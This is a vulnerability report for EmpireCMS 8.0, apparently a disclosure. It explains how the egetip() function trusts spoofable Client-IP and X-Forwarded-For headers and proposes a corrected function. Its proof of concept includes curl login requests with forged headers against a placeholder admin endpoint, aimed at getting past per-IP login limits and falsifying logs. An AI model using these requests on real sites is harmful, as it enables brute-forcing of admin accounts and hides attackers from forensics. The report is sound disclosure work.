EmpireCMS 8.0 Privilege Escalation
Title: IP Address Spoofing Vulnerability in EmpireCMS ≤ 8.0#
BUG_Author: pemic、gets
Affected Version: EmpireCMS ≤ 8.0
Vendor: EmpireCMS Official
Software: EmpireCMS Download
Vulnerability File:
e/class/connect.php
Description:#
A client IP address spoofing vulnerability exists in the egetip() function of EmpireCMS. The function prioritizes user-controllable HTTP headers (HTTP_CLIENT_IP and HTTP_X_FORWARDED_FOR) over the reliable REMOTE_ADDR value when determining the client's IP address.
This allows attackers to bypass IP-based access restrictions and falsify IP addresses recorded in security logs and database records.
Vulnerability Analysis:#
Root Cause:
In file e/class/connect.php, lines 1024-1052, the egetip() function retrieves the client IP address in the following order:
function egetip(){
global $ecms_config;
if(getenv('HTTP_CLIENT_IP')&&strcasecmp(getenv('HTTP_CLIENT_IP'),'unknown'))
{
$ip=getenv('HTTP_CLIENT_IP');
}
elseif(getenv('HTTP_X_FORWARDED_FOR')&&strcasecmp(getenv('HTTP_X_FORWARDED_FOR'),'unknown'))
{
$ip=getenv('HTTP_X_FORWARDED_FOR');
}
elseif(getenv('REMOTE_ADDR')&&strcasecmp(getenv('REMOTE_ADDR'),'unknown'))
{
$ip=getenv('REMOTE_ADDR');
}
// ...
$ip=RepPostVar($ip);
return $ip;
}
The function checks HTTP_CLIENT_IP first, then HTTP_X_FORWARDED_FOR, and finally REMOTE_ADDR. Since HTTP_CLIENT_IP and HTTP_X_FORWARDED_FOR are HTTP headers that can be freely set by the client, an attacker can inject any arbitrary IP address.
Impact:
Bypass IP-based login attempt limits
Falsify IP addresses in security/audit logs
Bypass IP whitelist/blacklist restrictions
Evade IP-based rate limiting
Proof of Concept:#
Test Environment:
EmpireCMS Version: 8.0
PHP Version: 5.6
MySQL Version: 5.7
OS: Docker (Debian)
Step 1: Clear existing login failure records
TRUNCATE TABLE phome_enewsloginfail;
Step 2: Send login request with spoofed Client-IP header
curl -X POST "http://target:19080/eadmin/admin/ecmsadmin.php" \
-H "Client-IP: 10.20.30.40" \
-d "enews=login&username=testuser&password=wrongpass&key="
Step 3: Verify the spoofed IP was recorded in database
SELECT ip FROM phome_enewsloginfail;
Result:
+-------------+
| ip |
+-------------+
| 10.20.30.40 |
+-------------+
The spoofed IP address 10.20.30.40 from the Client-IP header was recorded instead of the actual client IP.
Step 4: Test with X-Forwarded-For header
curl -X POST "http://target:19080/eadmin/admin/ecmsadmin.php" \
-H "X-Forwarded-For: 192.168.200.100" \
-d "enews=login&username=testuser2&password=wrongpass&key="
Result:
+------------------+
| ip |
+------------------+
| 192.168.200.100 |
+------------------+
Attack Scenario:#
Bypass Login Attempt Limits: EmpireCMS limits login attempts per IP address. An attacker can bypass this by sending each login attempt with a different spoofed IP, effectively bypassing brute-force protection.
Log Falsification: Security logs will record the spoofed IP instead of the attacker's real IP, making forensic investigation difficult.
Suggested Fix:#
Modify the egetip() function to prioritize REMOTE_ADDR:
function egetip(){
global $ecms_config;
// Always use REMOTE_ADDR first for security
if(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] &&
strcasecmp($_SERVER['REMOTE_ADDR'],'unknown'))
{
$ip = $_SERVER['REMOTE_ADDR'];
}
// Only use forwarded headers in trusted proxy environments
// and validate the IP format
elseif($ecms_config['sets']['getiptype'] > 0)
{
$ip = egetipadd();
}
else
{
$ip = '0.0.0.0';
}
if(strlen($ip) > 49)
{
exit();
}
$ip = RepPostVar($ip);
return $ip;
}
Timeline:#
2025-12-22: Vulnerability discovered and verified
2025-12-22: Report submitted